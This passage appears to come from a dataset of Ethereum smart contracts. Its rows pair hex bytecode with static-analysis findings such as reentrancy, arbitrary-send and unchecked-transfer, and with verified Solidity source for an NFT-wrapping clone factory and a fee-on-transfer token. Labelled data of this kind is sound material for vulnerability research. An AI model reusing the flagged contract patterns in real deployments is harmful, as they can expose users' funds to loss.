1600160a01b039283166020918202929092010152600b54610dad9130911684610e29565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de6908590600090869030904290600401611a9c565b600060405180830381600087803b158015610e0057600080fd5b505af1158015610e14573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561109b57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110dd57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f35750600c54600160a81b900460ff16155b80156111235750600c546001600160a01b03858116911614806111235750600c546001600160a01b038481169116145b1561129157600c54600160b81b900460ff1661113e57600080fd5b50600c546001906001600160a01b03858116911614801561116d5750600b546001600160a01b03848116911614155b801561117a575042600e54115b156111c157600061118a84610685565b90506111aa60646111a4678ac7230489e8000060026113b1565b90611430565b6111b48483611472565b11156111bf57600080fd5b505b600d544214156111ef576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006111fa30610685565b600c54909150600160b01b900460ff161580156112255750600c546001600160a01b03868116911614155b1561128f57801561128f57600c54611259906064906111a490600f90611253906001600160a01b0316610685565b906113b1565b81111561128657600c54611283906064906111a490600f90611253906001600160a01b0316610685565b90505b61128f81610caf565b505b61129d848484846114d1565b50505050565b600081848411156112c75760405162461bcd60e51b81526004016104c591906117ba565b5060006112d48486611b0d565b95945050505050565b60006006548211156113445760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b600061134e6115d4565b905061135a8382611430565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826113c0575060006104f8565b60006113cc8385611b24565b9050826113d98583611b43565b1461135a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b600061135a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f7565b60008061147f8385611a67565b90508381101561135a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b80806114df576114df611625565b6000806000806114ee87611641565b6001600160a01b038d166000908152600160205260409020549397509195509350915061151b9085611688565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461154a9084611472565b6001600160a01b03891660009081526001602052604090205561156c816116ca565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115b191815260200190565b60405180910390a350505050806115cd576115cd600954600855565b5050505050565b60008060006115e1611714565b90925090506115f08282611430565b9250505090565b600081836116185760405162461bcd60e51b81526004016104c591906117ba565b5060006112d48486611b43565b60006008541161163457600080fd5b6008805460095560009055565b60008060008060008061165687600854611754565b9150915060006116646115d4565b90506000806116748a8585611781565b909b909a5094985092965092945050505050565b600061135a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a3565b60006116d46115d4565b905060006116e283836113b1565b306000908152600160205260409020549091506116ff9082611472565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061172f8282611430565b82101561174b57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061176760646111a487876113b1565b905060006117758683611688565b96919550909350505050565b6000808061178f86856113b1565b9050600061179d86866113b1565b905060006117ab8383611688565b92989297509195505050505050565b600060208083528351808285015260005b818110156117e7578581018301518582016040015282016117cb565b818111156117f9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b803561182f8161180f565b919050565b6000806040838503121561184757600080fd5b82356118528161180f565b946020939093013593505050565b60008060006060848603121561187557600080fd5b83356118808161180f565b925060208401356118908161180f565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118ca57600080fd5b823567ffffffffffffffff808211156118e257600080fd5b818501915085601f8301126118f657600080fd5b813581811115611908576119086118a1565b8060051b604051601f19603f8301168101818110858211171561192d5761192d6118a1565b60405291825284820192508381018501918883111561194b57600080fd5b938501935b828510156119705761196185611824565b84529385019392850192611950565b98975050505050505050565b60006020828403121561198e57600080fd5b813561135a8161180f565b600080604083850312156119ac57600080fd5b82356119b78161180f565b915060208301356119c78161180f565b809150509250929050565b6000602082840312156119e457600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a6057611a60611a36565b5060010190565b60008219821115611a7a57611a7a611a36565b500190565b600060208284031215611a9157600080fd5b815161135a8161180f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aec5784516001600160a01b031683529383019391830191600101611ac7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b1f57611b1f611a36565b500390565b6000816000190483118215151615611b3e57611b3e611a36565b500290565b600082611b6057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060a5f70cfe05b1ca92037b78aec07e1b703cb17a10bb52cd75ded24dbf0d5eb564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,419 |
0xdc534208321f0e9cd9c1dd75328e2071395afd63
|
/*
███╗ ██╗███████╗████████╗
████╗ ██║██╔════╝╚══██╔══╝
██╔██╗ ██║█████╗ ██║
██║╚██╗██║██╔══╝ ██║
██║ ╚████║██║ ██║
██╗ ██╗██████╗ █████╗ ██████╗
██║ ██║██╔══██╗██╔══██╗██╔══██╗
██║ █╗ ██║██████╔╝███████║██████╔╝
██║███╗██║██╔══██╗██╔══██║██╔═══╝
╚███╔███╔╝██║ ██║██║ ██║██║
*/
// SPDX-License-Identifier: MIT
/**
MIT License
Copyright (c) 2020 Openlaw
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
interface IERC721transferFrom { // brief interface for erc721 token (nft)
function transferFrom(address from, address to, uint256 tokenId) external;
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract NFTWrap { // multi NFT wrapper adapted from LexToken - https://github.com/lexDAO/LexCorpus/blob/master/contracts/token/lextoken/solidity/LexToken.sol
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
address public resolver; // account acting as backup for lost token & arbitration of disputed token transfers - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event BalanceResolution(string resolution);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, address indexed resolver, string details);
event UpdateSale(uint256 saleRate, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
resolver = _resolver;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
name = _name;
symbol = _symbol;
forSale = _forSale;
initialized = true;
transferable = _transferable;
_mint(_manager, _managerSupply);
_mint(address(this), _saleSupply);
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
receive() external payable { // SALE
require(forSale, "!forSale");
(bool success, ) = manager.call{value: msg.value}("");
require(success, "!ethCall");
_transfer(address(this), msg.sender, msg.value.mul(saleRate));
}
function _approve(address owner, address spender, uint256 value) internal {
allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
require(value == 0 || allowances[msg.sender][spender] == 0, "!reset");
_approve(msg.sender, spender, value);
return true;
}
function balanceResolution(address from, address to, uint256 value, string calldata resolution) external { // resolve disputed or lost balances
require(msg.sender == resolver, "!resolver");
_transfer(from, to, value);
emit BalanceResolution(resolution);
}
function burn(uint256 value) external {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(msg.sender, address(0), value);
}
// Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(block.timestamp <= deadline, "expired");
bytes32 hashStruct = keccak256(abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
nonces[owner]++,
deadline));
bytes32 hash = keccak256(abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0) && signer == owner, "!signer");
_approve(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function transfer(address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_transfer(msg.sender, to, value);
return true;
}
function transferBatch(address[] calldata to, uint256[] calldata value) external {
require(to.length == value.length, "!to/value");
require(transferable, "!transferable");
for (uint256 i = 0; i < to.length; i++) {
_transfer(msg.sender, to[i], value[i]);
}
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
require(transferable, "!transferable");
_approve(from, msg.sender, allowances[from][msg.sender].sub(value));
_transfer(from, to, value);
return true;
}
/****************
MANAGER FUNCTIONS
****************/
function _mint(address to, uint256 value) internal {
require(totalSupply.add(value) <= totalSupplyCap, "capped");
balanceOf[to] = balanceOf[to].add(value);
totalSupply = totalSupply.add(value);
emit Transfer(address(0), to, value);
}
function mint(address to, uint256 value) external onlyManager {
_mint(to, value);
}
function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager {
require(to.length == value.length, "!to/value");
for (uint256 i = 0; i < to.length; i++) {
_mint(to[i], value[i]);
}
}
function updateGovernance(address payable _manager, address _resolver, string calldata _details) external onlyManager {
manager = _manager;
resolver = _resolver;
details = _details;
emit UpdateGovernance(_manager, _resolver, _details);
}
function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager {
saleRate = _saleRate;
forSale = _forSale;
_mint(address(this), _saleSupply);
emit UpdateSale(_saleRate, _forSale);
}
function updateTransferability(bool _transferable) external onlyManager {
transferable = _transferable;
emit UpdateTransferability(_transferable);
}
function withdrawNFT(address[] calldata nft, address[] calldata withrawTo, uint256[] calldata tokenId) external onlyManager { // withdraw NFT sent to contract
require(nft.length == withrawTo.length && nft.length == tokenId.length, "!nft/withdrawTo/tokenId");
for (uint256 i = 0; i < nft.length; i++) {
IERC721transferFrom(nft[i]).transferFrom(address(this), withrawTo[i], tokenId[i]);
}
}
function withdrawToken(address[] calldata token, address[] calldata withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to contract
require(token.length == withrawTo.length && token.length == value.length, "!token/withdrawTo/value");
for (uint256 i = 0; i < token.length; i++) {
uint256 withdrawalValue = value[i];
if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));}
IERC20(token[i]).transfer(withrawTo[i], withdrawalValue);
}
}
}
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
contract CloneFactory {
function createClone(address payable target) internal returns (address payable result) { // eip-1167 proxy pattern adapted for payable contract
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
contract NFTWrapper is CloneFactory {
address payable immutable public template;
string public details;
event WrapNFT(address indexed manager, address indexed resolver, address indexed wrap, uint256 saleRate, bool forSale);
constructor(address payable _template, string memory _details) {
template = _template;
details = _details;
}
function wrapNFT(
address payable _manager,
address[] memory _nftToWrap,
address _resolver,
uint8 _decimals,
uint256 _managerSupply,
uint256[] memory _nftToWrapId,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string memory _name,
string memory _symbol,
bool _forSale,
bool _transferable
) public {
require(_nftToWrap.length == _nftToWrapId.length, "!_nftToWrap/_nftToWrapId");
NFTWrap wrap = NFTWrap(createClone(template));
wrap.init(
_manager,
_resolver,
_decimals,
_managerSupply,
_saleRate,
_saleSupply,
_totalSupplyCap,
_name,
_symbol,
_forSale,
_transferable);
for (uint256 i = 0; i < _nftToWrap.length; i++) {
IERC721transferFrom(_nftToWrap[i]).transferFrom(msg.sender, address(wrap), _nftToWrapId[i]);
}
emit WrapNFT(_manager, _resolver, address(wrap), _saleRate, _forSale);
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063565974d3146100465780636f2ddd93146100c3578063d68674c1146100e7575b600080fd5b61004e610360565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610088578181015183820152602001610070565b50505050905090810190601f1680156100b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100cb6103ee565b604080516001600160a01b039092168252519081900360200190f35b61035e60048036036101a08110156100fe57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561012857600080fd5b82018360208201111561013a57600080fd5b803590602001918460208302840111600160201b8311171561015b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092956001600160a01b038535169560ff60208701351695604081013595509193509150608081019060600135600160201b8111156101c857600080fd5b8201836020820111156101da57600080fd5b803590602001918460208302840111600160201b831117156101fb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295843595602086013595604081013595509193509150608081019060600135600160201b81111561025c57600080fd5b82018360208201111561026e57600080fd5b803590602001918460018302840111600160201b8311171561028f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102e157600080fd5b8201836020820111156102f357600080fd5b803590602001918460018302840111600160201b8311171561031457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610412565b005b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103e65780601f106103bb576101008083540402835291602001916103e6565b820191906000526020600020905b8154815290600101906020018083116103c957829003601f168201915b505050505081565b7f0000000000000000000000008aab9ba41497504cd55b7d83f673f03e5cdd780e81565b87518c5114610468576040805162461bcd60e51b815260206004820152601860248201527f215f6e6674546f577261702f5f6e6674546f5772617049640000000000000000604482015290519081900360640190fd5b60006104937f0000000000000000000000008aab9ba41497504cd55b7d83f673f03e5cdd780e61074b565b9050806001600160a01b031663c26077d08f8e8e8e8d8d8d8d8d8d8d6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b6001600160a01b031681526020018a60ff168152602001898152602001888152602001878152602001868152602001806020018060200185151581526020018415158152602001838103835287818151815260200191508051906020019080838360005b8381101561054e578181015183820152602001610536565b50505050905090810190601f16801561057b5780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b838110156105ae578181015183820152602001610596565b50505050905090810190601f1680156105db5780820380516001836020036101000a031916815260200191505b509d5050505050505050505050505050600060405180830381600087803b15801561060557600080fd5b505af1158015610619573d6000803e3d6000fd5b5050505060005b8d518110156106db578d818151811061063557fe5b60200260200101516001600160a01b03166323b872dd33848d858151811061065957fe5b60200260200101516040518463ffffffff1660e01b815260040180846001600160a01b03168152602001836001600160a01b031681526020018281526020019350505050600060405180830381600087803b1580156106b757600080fd5b505af11580156106cb573d6000803e3d6000fd5b5050600190920191506106209050565b50806001600160a01b03168c6001600160a01b03168f6001600160a01b03167f736418f4adf2e5dec690c5400286042e1999a92c1669c386c7f97cc574510dff8b876040518083815260200182151581526020019250505060405180910390a45050505050505050505050505050565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f094935050505056fea26469706673582212204fef7ad8f4a94ae360fa1dfb32bd0056ed4f309f8f5bd120e135994f8d667af864736f6c63430007040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 4,420 |
0x738f99604e140d5f9993097feb3a27ebbfc626ee
|
/**
*Submitted for verification at Etherscan.io on 2021-07-02
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract LavaLampParty is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lava Lamp Party";
string private constant _symbol = "LAVALP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 777000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => uint256) private cooldown;
address private burnAddress = 0x000000000000000000000000000000000000dEaD;
address payable private _devArtist;
address payable private _marketing;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 1;
uint256 private _pressure = 14;
uint256 private _lavaBurn = 7;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_devArtist = addr1;
_marketing = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devArtist] = true;
_isExcludedFromFee[_marketing] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function allowTrading() external onlyOwner {
require(liquidityAdded);
tradeAllowed = true;
}
function buyBackAndBurn() external onlyOwner {
uint contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapETHForLavaLamp(contractETHBalance);
}
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxAmount = 15540000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradeAllowed);
require(cooldown[to] < block.timestamp);
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.div(20));
require(amount <= _maxTxAmount);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(amount <= balanceOf(uniswapV2Pair).div(100).mul(7));
require(cooldown[from] < block.timestamp);
uint initialBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newBalance = address(this).balance;
uint distributeETHBalance = newBalance.sub(initialBalance);
if (distributeETHBalance > 0) {
sendETHToFee(distributeETHBalance);
}
}
_pressure = 14;
_reflection = 1;
_lavaBurn = 7;
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
if ( to != uniswapV2Pair && to!= address(uniswapV2Router)) {
takeFee = false;
}
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _pressure == 0 && _lavaBurn == 0) return;
_reflection = 0;
_pressure = 0;
_lavaBurn = 0;
}
function restoreAllFee() private {
_reflection = 1;
_pressure = 14;
_lavaBurn = 7;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 tAmount, uint256 tBurn) = _lavaTokenBurn(amount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount, tBurn);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
